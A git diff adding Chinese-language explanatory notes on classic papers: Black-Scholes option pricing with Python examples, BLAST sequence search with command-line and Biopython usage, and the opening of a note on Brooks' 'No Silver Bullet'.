— Backus 在文中单独讨论的「部分解放」案例 +- John McCarthy, Lisp — 应用式模型对照组 +- 现代落地:Haskell `Prelude` 中的 `map`/`foldr`/`(.)` 即是组合子思想的后代 + +## 小结 + +Backus 在图灵奖演讲中完成了一次罕见的自我否定:**发明 FORTRAN 的人,号召同行离开冯·诺依曼语言家族。** 他用内积、阶乘、矩阵乘说明,**固定组合子 + 程序代数** 能让人类按「数据流形状」思考,而不是按「存储器地址 + 循环变量」思考。 + +这篇论文或许过于理想化,但它把 **map、reduce、compose** 写进了计算文化的 DNA,也为后来的 **纯函数、效应系统、数据并行** 埋下了种子。若你只记住一句话: + +> **好的编程语言不该逼你通过一条字逐字的窄门去思考;它该给你可组合的模块,让你像代数一样变形和推理程序。** + +那就是 Backus 1978 年留给零基础读者最该带走的核心。 diff --git a/src/content/docs/papers/black-scholes-1973.md b/src/content/docs/papers/black-scholes-1973.md new file mode 100644 index 000000000..dd5f1eec6 --- /dev/null +++ b/src/content/docs/papers/black-scholes-1973.md @@ -0,0 +1,243 @@ +--- +title: Black-Scholes 1973 — 用「对冲复制」给期权和公司债定价 +来源: https://www.cs.princeton.edu/courses/archive/fall09/cos323/papers/black_scholes73.pdf +日期: 2026-06-13 +分类: 其他 +子分类: 量化金融 +provenance: pipeline-v3 +--- + +## 是什么 + +Black & Scholes 1973(*The Pricing of Options and Corporate Liabilities*,*Journal of Political Economy* 81(3):637–654)是现代**衍生品定价**的奠基论文。它回答了一个看似朴素的问题: + +> 一张「到期可按约定价买入一股股票」的合约,**今天**应该卖多少钱? + +日常类比:你开了一家**复印店**,顾客付定金,约定三个月后能以 100 元买走店里某幅限量版画(当前市价 S 元)。版画价格天天变,但你能**随时买卖版画对冲风险**——Black-Scholes 的核心不是「猜未来股价」,而是: + +1. 用股票 + 现金**动态复制**这份合约的 payoff; +2. 若市场上期权价格 ≠ 复制成本,套利者就能无风险赚钱; +3. 因此**唯一合理的价格** = 复制组合的成本 → 闭式公式。 + +论文标题里的 *Corporate Liabilities* 同样重要:公司债、认股权证、甚至股权,都可看成**标的为「公司资产」的期权组合**——同一套分析可算「违约应折多少价」。 + +作者 Fischer Black(芝加哥大学)与 Myron Scholes(MIT);Robert C. Merton 对对冲推导有重要贡献。论文 1970 年投稿、1972 年定稿,曾两次被拒,经 Fama、Miller 推动后 1973 年 5 月发表。Scholes 与 Merton 1997 年获诺贝尔经济学奖(Black 已于 1995 年去世)。 + +## 为什么重要 + +不理解这篇论文,下面这些事都讲不清: + +- 为什么期权价格**不依赖**投资者对股价涨跌的主观预期(风险中性定价) +- 为什么做市商敢说「我 delta 对冲了」——以及 1987 股灾时对冲为何会集体失灵 +- 为什么公司债利率高于国债:不仅是信用,更是**股东持有对资产的看涨期权**,债权人承担下行 +- 为什么 VIX、隐含波动率曲面、奇异期权定价树,全都从这里的 PDE 和公式长出来 +- 为什么 Kelly 1956 谈「信息 → 财富」,Black-Scholes 谈「波动 → 期权费」——两条线后来在量化基金里汇合 + +## 核心要点 + +### 1. 期权术语(论文 Introduction) + +| 术语 | 含义 | +|------|------| +| **Call(看涨期权)** | 有权在到期前/到期日按行权价 K 买入标的 | +| **European** | 仅能在到期日 T 行权(公式针对此类) | +| **American** | 到期前任意时刻可行权(更贵,需数值方法) | +| **Strike / Exercise price (K)** | 行权价 | +| **Maturity (T)** | 到期日 | + +直觉(论文 Figure 1):股价 S 越高,call 越值钱;S ≫ K 时 call ≈ S − 贴现后的 K;S ≪ K 时 call ≈ 0;距到期越近,时间价值越少。 + +### 2. 无套利原则(论文开篇核心句) + +> If options are correctly priced in the market, it should not be possible to make sure profits by creating portfolios of long and short positions in options and their underlying stocks. + +即:**正确价格下,期权 + 股票的多空组合不能无风险套利**。一切推导从这里出发,而非「预测股价会涨会跌」。 + +### 3. 「理想市场」假设 + +论文为推导闭式解假设(后文大量实证与扩展在放松这些条件): + +- 股价服从**几何布朗运动**(对数正态、常数波动率 σ) +- **连续交易**、无摩擦(无手续费、无卖空限制、可借卖) +- 无风险利率 r 恒定 +- 不付股息(后人有扩展) + +在这些假设下,期权价值 w(S, t) **只依赖**当前股价 S、时间 t 和已知常数——可构造**完美对冲组合**。 + +### 4. Delta 对冲与复制 + +记 w(S, t) 为 call 价值。持有一份股票、做空 ∂w/∂S 份期权(论文记为 w_x),组合价值对微小股价变动**一阶免疫**: + +``` +Δ_portfolio ≈ ΔS − (∂w/∂S)·ΔS ≈ 0 +``` + +连续调整对冲比率(**delta**),组合收益应等于无风险利率——由此得到 **Black-Scholes 偏微分方程(PDE)**: + +``` +∂w/∂t + (1/2)σ²S² · ∂²w/∂S² + rS · ∂w/∂S − rw = 0 +``` + +边界条件(欧式 call):到期时 w(S, T) = max(S − K, 0)。 + +**日常类比**:你不是在赌版画涨价,而是像**调色师**不断调整「股票 : 期权」配比,让小店账本对涨跌暂时「无感」;账本只按国债利率爬升,这个爬升率就是期权今天的公平价。 + +### 5. Black-Scholes 闭式公式(欧式 call) + +令 τ = T − t 为剩余期限: + +``` +d₁ = [ln(S/K) + (r + σ²/2)τ] / (σ√τ) +d₂ = d₁ − σ√τ + +C = S·N(d₁) − K·e^(−rτ)·N(d₂) +``` + +P(看跌)由 **put-call parity**: + +``` +P = C − S + K·e^(−rτ) = K·e^(−rτ)·N(−d₂) − S·N(−d₁) +``` + +N(·) 为标准正态 CDF。注意:**公式里不出现股票期望收益率 μ**——对冲消掉了风险溢价,这是论文最令人惊讶的结论之一。 + +论文还给出了用 **CAPM** 的等价推导:期权 β 与股票 β 成比例,风险调整折现与 PDE 路径一致。 + +### 6. 公司负债 = 期权组合 + +论文后半部分:将**公司资产** V 视为标的,**股权** = 以 V 为标的、行权价为债务面值 D 的**看涨期权**(股东在清偿后拿走剩余);**债权** = 无风险债 − 看跌期权(违约相当于资产不足)。因此: + +- 同一 σ、r 可估**信用利差**(违约风险折价) +- 认股权证(warrant)是标准 call 的变体 + +这为 Merton 1974 结构化信用模型等后续工作铺了路。 + +### 7. Greeks(实践延伸,非原文重点) + +| Greek | 含义 | Call(直觉) | +|-------|------|----------------| +| **Delta** ∂C/∂S | 对冲比率 | 0→1,价内越深越大 | +| **Gamma** ∂²C/∂S² | Delta 变化速度 | 平价附近最大 | +| **Theta** ∂C/∂t | 时间衰减 | 通常为负 | +| **Vega** ∂C/∂σ | 对波动率敏感 | 总是为正 | + +## 实践案例 + +### 案例 1:手写 Black-Scholes 定价器 + +```python +import math + +def norm_cdf(x: float) -> float: + """标准正态 CDF Φ(x)""" + return 0.5 * (1.0 + math.erf(x / math.sqrt(2.0))) + +def black_scholes_call(S: float, K: float, tau: float, r: float, sigma: float) -> float: + """欧式看涨:S 现价, K 行权价, tau 剩余年数, r 无风险利率, sigma 波动率""" + if tau <= 0: + return max(S - K, 0.0) + sqrt_tau = math.sqrt(tau) + d1 = (math.log(S / K) + (r + 0.5 * sigma ** 2) * tau) / (sigma * sqrt_tau) + d2 = d1 - sigma * sqrt_tau + return S * norm_cdf(d1) - K * math.exp(-r * tau) * norm_cdf(d2) + +def black_scholes_put(S, K, tau, r, sigma): + c = black_scholes_call(S, K, tau, r, sigma) + return c - S + K * math.exp(-r * tau) # put-call parity + +# 例:S=100, K=100, 3 个月, r=5%, σ=20% +C = black_scholes_call(100, 100, 0.25, 0.05, 0.20) +P = black_scholes_put(100, 100, 0.25, 0.05, 0.20) +print(f"Call ≈ {C:.4f}, Put ≈ {P:.4f}") # Call ≈ 4.62, Put ≈ 3.37 +``` + +**读数**:平价 call 约 4.6 元——不是零,因为三个月内股价仍可能涨过 100;主要价值来自 **vega / 时间价值**。 + +### 案例 2:离散 Delta 对冲模拟 + +真实市场不能连续交易;下面用**每日再平衡**近似论文的连续对冲,观察复制误差: + +```python +import random +import math + +def simulate_gbm_path(S0, mu, sigma, days, dt=1/252): + """几何布朗运动路径(μ 为真实漂移,定价仍用 r)""" + prices = [S0] + for _ in range(days): + z = random.gauss(0, 1) + prices.append(prices[-1] * math.exp((mu - 0.5 * sigma**2) * dt + sigma * math.sqrt(dt) * z)) + return prices + +def delta_call(S, K, tau, r, sigma): + if tau <= 0: + return 1.0 if S > K else 0.0 + sqrt_tau = math.sqrt(tau) + d1 = (math.log(S / K) + (r + 0.5 * sigma**2) * tau) / (sigma * sqrt_tau) + return norm_cdf(d1) + +def delta_hedge_pnl(prices, K, r, sigma, T_years): + """卖 1 份 call,用股票动态对冲;看到期组合能否覆盖 payoff""" + cash = black_scholes_call(prices[0], K, T_years, r, sigma) # 初始收取期权费 + dt = 1 / 252 + shares = 0.0 + for i, S in enumerate(prices[:-1]): + tau = T_years - i * dt + target = delta_call(S, K, tau, r, sigma) + shares_needed = target # 空头 call 需多头股票 + cash -= (shares_needed - shares) * S + shares = shares_needed + cash *= math.exp(r * dt) + ST = prices[-1] + payoff = max(ST - K, 0.0) + final = cash + shares * ST - payoff + return final # ≈0 说明对冲成功 + +random.seed(0) +path = simulate_gbm_path(S0=100, mu=0.10, sigma=0.20, days=63) +err = delta_hedge_pnl(path, K=100, r=0.05, sigma=0.20, T_years=63/252) +print(f"对冲残差(应接近 0): {err:.4f}") +``` + +**要点**:定价用 r 和 σ,**不用真实 μ**;但对冲频率低、σ 突变、有交易成本时,残差会变大——这是模型与实务的主要裂缝。 + +### 案例 3:股权作为「资产看涨期权」(结构化直觉) + +简化 Merton 视角:公司资产 V=120,债务面值 D=100,一年后到期,无风险利率 r=5%,资产波动 σ_V=25%: + +```python +# 股权 = Call(V, K=D) +E = black_scholes_call(120, 100, 1.0, 0.05, 0.25) +# 债权价值 ≈ 贴现面值 − 看跌期权(违约损失) +D_pv = 100 * math.exp(-0.05 * 1.0) +P_on_assets = black_scholes_put(120, 100, 1.0, 0.05, 0.25) +debt_value = D_pv - P_on_assets +print(f"股权价值 ≈ {E:.2f}, 债权价值 ≈ {debt_value:.2f}, 合计 ≈ {E + debt_value:.2f}") +``` + +资产 V=120 时,股东「实值」看涨;债权人承担 V 跌破 100 的尾部——**信用风险即卖出看跌**。 + +## 局限与常见误解 + +1. **波动率非常数**:真实市场存在「波动率微笑/偏斜」,Black-Scholes 是基准,不是终局。 +2. **跳跃与厚尾**:1987、2020 等极端日,GBM 假设失效;需 Merton 跳跃扩散、随机波动率(Heston)等。 +3. **连续对冲不可行**:离散再平衡带来 **gamma 风险**;做市商靠买卖价差与库存管理存活。 +4. **μ 消失了,但 σ 成了新上帝**:σ 估错比 μ 估错更致命;实务用隐含波动率反推市场共识。 +5. **American 与股息**:提前行权、分红会改变界条件;闭式公式需修正或数值解。 + +## 与仓库其他笔记的关系 + +- [[kelly-criterion-1956]]:最优下注比例 vs 期权对冲——一个管「赌多少次」,一个管「连续复制」 +- 现代 ML 波动率预测、深度对冲网络,都是在**放松 GBM** 前提下重谈同一问题 + +## 一句话总结 + +Black-Scholes 1973 用**无套利 + 动态对冲**把期权价格写成 S、K、T、r、σ 的函数,并说明公司债与股权不过是同一套期权语言——它把金融从「凭感觉赌方向」变成了「算复制成本」的工程问题。 + +## 延伸阅读 + +- [Princeton 课程 PDF 镜像](https://www.cs.princeton.edu/courses/archive/fall09/cos323/papers/black_scholes73.pdf)(本笔记来源) +- [JSTOR 正式版](https://www.jstor.org/stable/1831029) +- Black & Scholes (1972), *Journal of Finance*:公式实证检验 +- Merton (1973):连续时间推广与美式期权框架 +- Hull, *Options, Futures, and Other Derivatives*:教科书标准表述 diff --git a/src/content/docs/papers/blast-altschul-1990.md b/src/content/docs/papers/blast-altschul-1990.md new file mode 100644 index 000000000..f2f39743d --- /dev/null +++ b/src/content/docs/papers/blast-altschul-1990.md @@ -0,0 +1,297 @@ +--- +title: BLAST — 序列比对的「搜索引擎」 +来源: https://www.sciencedirect.com/science/article/abs/pii/S0022283605803602 +日期: 2026-06-13 +子分类: 生物信息 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 先想成什么事 + +想象你在图书馆里找一本书,但**不知道完整书名**,只记得几句关键台词: + +> 「To be or not to be」 + +如果图书馆有 30 亿本书,你不可能逐本翻开比对。聪明做法是: + +1. **先搜关键词**——把每本书切成固定长度的「词块」,建索引;你的台词也切成同样长度的词块,去索引里找**完全匹配**的片段(seed)。 +2. **再向两边扩展**——找到 seed 后,往前后多读几页,看上下文能不能连成一段像样的相似段落(extension)。 +3. **最后打分排序**——不是「有点像就算」,而是问:**这么像的一段,在随机乱配里出现概率有多低?** 概率越低,越可能是真亲戚。 + +这就是 **BLAST(Basic Local Alignment Search Tool)** 干的事——只不过「书」是 DNA / 蛋白质序列,「台词」是你实验里测到的那条 read,「图书馆」是 GenBank、RefSeq 等数十亿字符的公共数据库。 + +Altschul、Gish、Miller、Myers、Lipman 在 1990 年 *Journal of Molecular Biology* 上发表的这篇论文,把上述直觉变成了**可证明统计性质**的启发式算法,比当时同等灵敏度的工具快一个数量级,成为 1990 年代被引用最多的论文之一。 + +## 这篇论文在说什么 + +| 维度 | 内容 | +|------|------| +| 标题 | Basic local alignment search tool | +| 作者 | Stephen F. Altschul, Warren Gish, Webb Miller, Eugene W. Myers, David J. Lipman | +| 发表 | *Journal of Molecular Biology*, 215(3):403–410, 1990 | +| DOI | [10.1016/S0022-2836(05)80360-2](https://doi.org/10.1016/S0022-2836(05)80360-2) | +| PubMed | [2231712](https://pubmed.ncbi.nlm.nih.gov/2231712/) | +| 在线工具 | [NCBI BLAST](https://blast.ncbi.nlm.nih.gov/Blast.cgi) | + +论文核心贡献可以概括为三句话: + +1. **局部比对**:找的是两条序列里**最像的一段**(Maximal Segment Pair, MSP),而不是强迫整条序列从头到尾对齐——就像只关心「那几句台词像不像」,不要求两本书页数相同。 +2. **启发式加速**:用短词(word)命中当种子,只扩展有希望的区域,把搜索空间从「每个字符对每个字符」砍到可承受规模。 +3. **统计显著性**:Karlin–Altschul 理论给出高分片段在随机序列里出现的期望次数 **E-value**,让「像不像」变成「信不信得过」。 + +## 为什么重要 + +不理解 BLAST,下面这些事都没法解释: + +- 为什么测完一条 DNA,第一反应是「拿去 NCBI BLAST 一下」——它是分子生物学界的**默认搜索引擎** +- 为什么论文里写 `E-value < 1e-50` 而不是「相似度 87%」——百分比不随数据库变大而调整,E-value 会 +- 为什么 [[smith-waterman]] 精确但慢、BLAST 快但启发式——工程上几乎总是先用 BLAST 筛候选,再用慢方法精修 +- 为什么宏基因组、注释基因、查同源蛋白、验证引物特异性,背后都是同一套「种子 + 扩展 + 统计」骨架 + +从 1990 到今,BLAST 家族演化出 blastn / blastp / blastx / tblastn / PSI-BLAST / megablast 等变体,但**论文里的 MSP 定义和 E-value 框架**仍是理解一切的起点。 + +## 核心概念 + +### 1. 序列与字母表 + +- **DNA**:字母表 `{A, C, G, T}`(有时含 `N` 表示未知) +- **蛋白质**:20 种标准氨基酸 + 终止符 `*` + +序列就是字母串。两条序列「相关」意味着存在**局部**片段,在进化或功能上同源。 + +### 2. 打分矩阵(Scoring Matrix) + +比对不是数「几个字母相同」,而是查表: + +| 事件 | 典型处理 | +|------|----------| +| 匹配(如 Leu–Leu) | +4 ~ +6(BLOSUM62) | +| 错配 | 负数惩罚 | +| 开 gap | 额外惩罚 + 每延长一格再罚 | + +常用矩阵:**BLOSUM62**(蛋白质)、**PAM** 系列、核酸的匹配/错配分(blastn 默认 +2/-3 等)。 + +### 3. Word(词)与种子(Seed) + +BLAST 从查询序列抽出长度为 `w` 的连续子串列表(blastp 默认 `w=3`,blastn 默认 `w=11` 或 megablast 的 `w=28`)。 + +数据库里**完全匹配**(或超过阈值 `T` 的近似匹配)的 word 叫 **hit / seed**。只有 seed 才触发后续昂贵的扩展。 + +直觉:**word 越大 → 种子越少 → 越快但越容易漏远缘同源**。 + +### 4. High-Scoring Segment Pair(HSP) + +从 seed 向左右**无 gap 延伸**,累加打分;分数开始下降超过阈值 `X` 就停。得到的**最高分局部无 gap 段**是一个 HSP。 + +多个 HSP 可属于同一条数据库序列;gapped BLAST 还会在高分 HSP 上再做带 gap 的精修(类似局部 Smith–Waterman)。 + +### 5. Two-hit 方法(1997 扩展,理解现代 BLAST 必备) + +原始「one-hit」:任何一个 seed 都尝试扩展——**超过 90% 时间耗在这里**。 + +**Two-hit**:同一条对角线上,两个相距不超过距离 `A` 的 seed 都命中,才触发扩展。随机噪声里凑齐「两个近邻 seed」的概率低得多,扩展次数大约减半,速度显著提升。 + +### 6. E-value 与 Bit Score + +Karlin–Altschul 公式(查询长 `m`,数据库有效长 `n`,原始分 `S`): + +``` +E = K · m · n · e^(-λS) +``` + +- **E**:随机背景下,得分 ≥ S 的 HSP 期望出现次数 +- **K, λ**:由打分矩阵决定的常数(BLOSUM62 约 λ≈0.267, K≈0.041) +- **E 越小越显著**;常用阈值 `E < 0.01` 或 `1e-5` +- **Bit score** `S' = (λS - ln K) / ln 2`:与数据库大小无关,便于跨搜索比较 + +当 `E < 0.01` 时,E-value 与 P-value(至少出现一次的概率)近似:`P ≈ 1 - e^(-E) ≈ E`。 + +### 7. BLAST 程序族(零基础先记这五个) + +| 程序 | 查询 | 数据库 | 典型用途 | +|------|------|--------|----------| +| **blastn** | 核酸 | 核酸 | 基因定位、引物特异性 | +| **megablast** | 核酸 | 核酸 | 近同源、大片段,word 更大更快 | +| **blastp** | 蛋白 | 蛋白 | 找同源蛋白、功能注释 | +| **blastx** | 核酸(6 框翻译) | 蛋白 | 新基因可能编码什么蛋白 | +| **tblastn** | 蛋白 | 核酸(6 框翻译) | 蛋白在哪些基因组里出现 | + +## 算法流程(一图胜千言) + +```text +查询序列 Q + │ + ▼ +生成 word 列表(长度 w) + │ + ▼ +在数据库索引中找 word hit ──► 无 hit → 丢弃 + │ + ▼ +Two-hit 过滤(可选)──► 未凑齐双 seed → 丢弃 + │ + ▼ +无 gap 延伸 → 得到 HSP 原始分 S + │ + ▼ +S ≥ 阈值?──否──► 丢弃 + │ + ▼ +(可选)Gapped 精修 + │ + ▼ +计算 bit score、E-value → 排序输出 +``` + +## 实践案例 + +### 案例 1:命令行 blastn——把一条基因扔进水母基因组 + +假设你有一条来自模式生物的基因序列 `gene.fa`,想查它在 *Hydra* 基因组里有没有同源拷贝: + +```bash +# 需本地安装 NCBI BLAST+(brew install blast 或 conda install blast) +makeblastdb -in hydra_genome.fa -dbtype nucl -out hydra_db + +blastn \ + -query gene.fa \ + -db hydra_db \ + -outfmt "6 qseqid sseqid pident length evalue bitscore" \ + -evalue 1e-5 \ + -word_size 11 \ + -max_target_seqs 10 +``` + +`-outfmt 6` 输出制表符分隔字段,便于管道进 `awk` / R / Python。关注列: + +- **pident**:相同碱基百分比(启发式延伸结果,不是全局定义) +- **evalue**:统计显著性——比 pident 更该用来决定「算不算同源」 +- **bitscore**:与数据库大小无关的强弱分 + +若近缘物种、序列很长且几乎相同,可换 **megablast**(`-task megablast`,默认 `word_size=28`)换速度。 + +### 案例 2:Python 调 NCBI 远程 BLAST(不写本地数据库) + +适合快速验证、序列不长、能接受排队: + +```python +from Bio.Blast import NCBIWWW, NCBIXML +from io import StringIO + +query = ( + "ATGAAAGAATTGAAAGAAGAAGGTGAAGAAGATGATGATGAA" + "GAAGGTGAAGAAGAAGAAGAAGAAGAAGAAGAAGAAGAAGAA" +) + +result_handle = NCBIWWW.qblast( + program="blastn", + database="nt", # 核酸非冗余库,实际很大 + sequence=query, + expect=0.001, + word_size=11, +) + +blast_record = NCBIXML.read(result_handle) + +for alignment in blast_record.alignments[:5]: + hsp = alignment.hsps[0] + print(alignment.title[:60]) + print(f" E-value={hsp.expect:.2e} bit_score={hsp.bits:.1f} identity={hsp.identities}/{hsp.align_length}") +``` + +`Bio.Blast` 来自 [Biopython](https://biopython.org/)。远程 BLAST 有频率限制;生产管线应下载数据库 + 本地 `blastn`。 + +### 案例 3:手算 E-value——理解「数据库越大,同样分数越不可信」 + +下面用 BLOSUM62 的典型 λ、K 做**数量级直觉**(非替代 BLAST 内置统计): + +```python +import math + +def e_value(raw_score: float, m: int, n: int, K: float = 0.041, lam: float = 0.267) -> float: + """期望随机命中次数。m=查询长,n=数据库有效搜索空间长度。""" + return K * m * n * math.exp(-lam * raw_score) + +def bit_score(raw_score: float, K: float = 0.041, lam: float = 0.267) -> float: + return (lam * raw_score - math.log(K)) / math.log(2) + +S = 85 # 假设某次 HSP 原始分 +m, n = 400, 3e9 # 400 bp 查询,30 亿字母数据库 + +print(f"E = {e_value(S, m, n):.2e}") # 很小 → 显著 +print(f"bit = {bit_score(S):.1f}") + +# 数据库扩大 1000 倍,同样 S,E 也扩大 1000 倍 +print(f"E (n×1000) = {e_value(S, m, n * 1000):.2e}") +``` + +这就是为什么同一条比对,在小数据库里 `E=1e-10`,换全库 nt 可能变成 `E=0.1`——**不是序列变了,是「抽奖次数」变多了**。Bit score 不变,因为它吃掉了 `m、n` 的影响。 + +### 案例 4:word_size 与敏感度的权衡 + +```bash +# 远缘同源、短序列:较小 word,更慢更敏感 +blastn -query short_read.fa -db nr_db -word_size 7 -evalue 1e-3 + +# 近缘、查基因是否在该物种基因组:大 word,快 +blastn -query gene.fa -db target_genome -task megablast -word_size 28 +``` + +经验法则:**word_size 必须小于查询长度的一半**,否则合法 hit 可能被漏掉。 + +## 踩过的坑 + +1. **只看 % identity 不看 E-value**——短序列上 95% identity 仍可能 E 很大(随机也能凑出来);长序列上 70% identity 可以极显著。 + +2. **把 E-value 当概率**——E 是**期望次数**;P(至少一次) = 1 - e^(-E)。E=10 不代表「10% 概率」,而是「随机期望出现 10 次」。 + +3. **不同数据库结果不可直接比 E-value**——跨库请比 **bit score**;同一 bit score,库越大 E 越大。 + +4. **局部比对 ≠ 全序列同源**——一个蛋白结构域能撞出高分 HSP,整条基因未必同源;要读比对示意图,别只扫表格。 + +5. **低复杂度 / 重复序列**——poly-A、转座子 repeat 会产生大量假阳性;可用 `dust`(核酸)或 `seg`(蛋白)过滤,或调 `-soft_masking`。 + +6. **blastx / tblastn 的阅读框**——核酸翻译有 6 个阅读框,计算量比 blastp 大;查询太短则统计无力。 + +7. **远程 BLAST 与本地版本参数默认值可能不同**——复现论文结果时记录 `blastn -version` 和完整参数。 + +## 适用 vs 不适用 + +**适用**: + +- 在公共库中找同源基因 / 蛋白(注释、进化分析) +- 验证测序 read 污染、引物非特异扩增 +- 快速筛选候选,再交给 [[smith-waterman]]、HMMER、AlphaFold 等做精细分析 +- 教学演示:序列相似性 + 假设检验直觉 + +**不适用**: + +- 需要**全局**最优比对且序列很长——用 Needleman–Wunsch 全局比对或 minimap2 等 +- 结构比对、RNA 二级结构——用专门工具(Foldseek、Infernal) +- 超远缘、低于 twilight zone(~20–30% aa identity)——PSI-BLAST、HHblits、Jackhmmer 迭代搜库 +- 实时超长读长映射(PacBio/ONT)——minimap2、Winnowmap 等索引结构完全不同 + +## 与相关工作的关系 + +```text +动态规划精确比对 启发式数据库搜索 +───────────────────────────────────────────── +Needleman–Wunsch (全局) BLAST (局部, 1990) ← 本篇 +Smith–Waterman (局部) FASTA (1988, 不同种子策略) + PSI-BLAST (1997, 迭代 profile) + DIAMOND (蛋白, 比 BLAST 更快数量级) +``` + +BLAST 不是「发明了序列比对」——Smith–Waterman (1981) 等早已给出最优局部比对动态规划。BLAST 的贡献是:**在几乎不牺牲实用灵敏度的前提下,把数据库搜索做成生物学家每天能点一下网页就用的速度**,并配上严格可解释的 E-value。 + +## 延伸阅读 + +- [NCBI BLAST 教程:相似性分数统计](https://www.ncbi.nlm.nih.gov/blast/tutorial/Altschul-1.html) +- [Nature Scitable:BLAST 入门](https://www.nature.com/scitable/topicpage/basic-local-alignment-search-tool-blast-29096/) +- Altschul S.F. et al. (1997) Gapped BLAST and PSI-BLAST — 引入 two-hit 与迭代搜索 +- Karlin S., Altschul S.F. (1990) Methods for assessing the statistical significance of molecular sequence features — E-value 理论根基 + +## 一句话总结 + +**BLAST 把「在几十亿字母里找亲戚」变成:先用短词命中当地震预警,再延伸成高分片段,最后用 E-value 告诉你——这到底是进化上的亲戚,还是随机撞衫。** diff --git a/src/content/docs/papers/brooks-no-silver-bullet-1986.md b/src/content/docs/papers/brooks-no-silver-bullet-1986.md new file mode 100644 index 000000000..bacad90e7 --- /dev/null +++ b/src/content/docs/papers/brooks-no-silver-bullet-1986.md @@ -0,0 +1,225 @@ +--- +title: No Silver Bullet — Essence and Accident in Software Engineering(Brooks, 1986) +来源: http://worrydream.com/refs/Brooks-NoSilverBullet.pdf +日期: 2026-06-13 +分类: 其他 +子分类: 工程文化 +provenance: pipeline-v3 +--- + +## 是什么 + +Frederick P. Brooks, Jr. 在 1986 年 IEEE Computer 上发表的这篇短文,是软件工程领域被引用最多的文章之一。Brooks 此前在《人月神话》(1975)里提出「没有银弹」的怀疑;十年后他系统论证:**未来十年内,不存在任何一种单独的技术或管理手段,能单独把软件的生产率、可靠性或简洁性提高一个数量级(10 倍)**。 + +文章借用亚里士多德哲学里的两个词: + +- **Essence(本质)**:软件**固有**的困难——概念结构本身复杂、必须符合外部世界、需求总在变、又难以可视化。 +- **Accident(偶然)**:**当前生产条件**带来的困难——机器慢、语言难写、调试环境差、文档工具落后等;它们不是软件「是什么」的一部分,而是「我们怎么造它」的副产品。 + +日常类比:你要开一家连锁奶茶店。 + +- **本质工作**:想清楚菜单逻辑、会员积分规则、供应链与门店扩张策略、高峰期排队模型——这些**业务概念**无论最后用 Excel、Java 还是 AI 写代码,都必须有人想清楚。 +- **偶然工作**:店员手写订单、算盘结账、没有冰箱——换成 POS 机、扫码支付、冷链物流,效率会暴涨;但若「买一杯送一杯且不能与优惠券叠加」这条规则本身就没定义清楚,再快的收银台也救不了。 + +Brooks 的论点可以压缩成一句:**过去几十年的大进步,多半是在削偶然难度;而银弹幻想,往往把偶然难度的胜利误当成能消灭本质难度。** + +## 为什么重要 + +1986 年的人们热议:Ada、面向对象、AI、专家系统、形式化验证会不会终结软件危机?Brooks 的回答冷静而持久: + +1. **设定期望**:管理层不能指望「换一门语言 / 上一个框架」就 10 倍提效;团队也不会因为没达到而自我怀疑到失真。 +2. **区分投资方向**:编译器、IDE、云原生工具值得做,但它们是**边际改进**;真正难的是需求、架构、概念建模与优秀设计师的培养。 +3. **解释历史**:高级语言带来约 5 倍生产力,时间共享、Unix 统一环境也有显著收益——但这些都是**偶然**层面的解放,无法无限外推。 +4. **指导今天**:大模型辅助编程、低代码、Copilot 很像新一代「高级语言 + 时间共享」——极大减少打字与样板代码,却**不会自动**替你弄清「退款时积分要不要扣回」这种本质问题。 + +读不懂 essence/accident,就容易在每次技术浪潮里重复同一句话:「这次不一样了。」Brooks 的文章就是提醒你先问:**这次到底在打本质,还是在打偶然?** + +## 核心概念 + +### 1. 银弹(Silver Bullet) + +民间传说里,只有银弹能一击杀死狼人。Brooks 把「狼人」比作软件危机:进度失控、成本超支、质量不可靠。银弹 = **单一**突破,能单独带来**数量级**改善。 + +他承认硬件有过银弹式飞跃:电子管 → 晶体管 → 大规模集成电路,性能与成本曲线像摩尔定律那样指数变化。但软件没有对称的「物理定律」帮你自动变便宜。 + +### 2. 软件的本质是什么 + +软件实体是**互锁的概念构造**: + +- 数据集与数据项之间的关系 +- 算法 +- 对函数的调用关系 + +这些概念是**抽象的**(同一份设计可以用不同语言实现),却又**极其精细**(不是模糊的诗意,而是能执行的具体结构)。造软件,首要任务是**在头脑中锻造这些概念**,其次才是把它们写进语言、编译、部署。 + +### 3. 本质的四大属性 + +| 属性 | 含义 | 日常类比 | +|------|------|----------| +| **复杂性(Complexity)** | 同规模下,软件比建筑、汽车更复杂,因为几乎没有完全相同的「零件」;重复出现就会被抽象成子程序 | 每道菜配方都不同,很难像造车那样复用标准螺丝 | +| **符合性(Conformity)** | 软件必须服从人类机构、法律、遗留系统的规则,这些规则常常**不合理且无法统一** | 奶茶店必须对接各平台异构的团购 API,规则由别人定 | +| **可变性(Changeability)** | 软件是思想产物,改起来「便宜」,所以压力永远存在——业务、法规、竞品都在逼你改 | 顾客总想要新口味;物理门店改装修很贵,改菜单很便宜 | +| **不可见性(Invisibility)** | 软件没有天然的几何形态,无法用一张平面图看清全局;我们用的框图只是**投影**,会丢失细节 | 连锁品牌的「关系」在老板脑子里,没有一张图能完整画出所有例外 | + +### 4. 偶然难度与 9/10 法则 + +Brooks 估算:即便把**全部**偶然活动的时间压到零,若它们占整体工作量不足 90%,也**不可能**得到 10 倍总提速。 + +直觉:若偶然占 50%,偶然清零最多 2 倍;要 10 倍,偶然得占 >90%。而他认为现代开发中,本质工作仍占相当大比例——所以**没有银弹**。 + +### 5. 已解决偶然难度的三大突破 + +| 突破 | 攻克的偶然问题 | 大致收益 | +|------|----------------|----------| +| **高级语言** | 位、寄存器、手工内存管理 | ~5× 生产力,可靠性、可读性同步提升 | +| **时间共享** | 批处理排队、人机交互迟滞 | 与高级语言同量级的人因收益 | +| **统一编程环境**(Unix、Interlisp 等) | 工具链割裂、调试与构建分散 | 显著但难以再乘 5 | + +### 6. 被寄望却难当银弹的方向(1986 视角) + +Brooks 逐一审视当时的热门方案,结论多是**增量**或**只碰偶然**: + +- **Ada 等语言**:继续削减偶然层,但单语言难以再带来一个数量级。 +- **面向对象**:有希望改善**概念组织**(更接近本质),但容易被过度推销成万能药。 +- **人工智能 / 专家系统**:在限定领域有用,难覆盖整个软件构造。 +- **程序验证**:对发现错误有价值,却不能减少必须先想清楚的概念量。 +- **更好环境与工具**:边际收益递减。 + +### 7. 针对本质的四条「有希望攻击」 + +1. **买而非造(Buy vs. build)**:能买商品化组件就不要从零造——把本质复杂度留给真正差异化的部分。 +2. **需求精炼与快速原型(Requirements refinement & rapid prototyping)**:最难的单一步骤是**决定做什么**;尽早做可抛弃原型,比后期改便宜 orders of magnitude。 +3. **增量生长(Incremental development — grow, don't build)**:像培育植物,边运行边加功能边测,而不是「大爆炸」式一次交付。 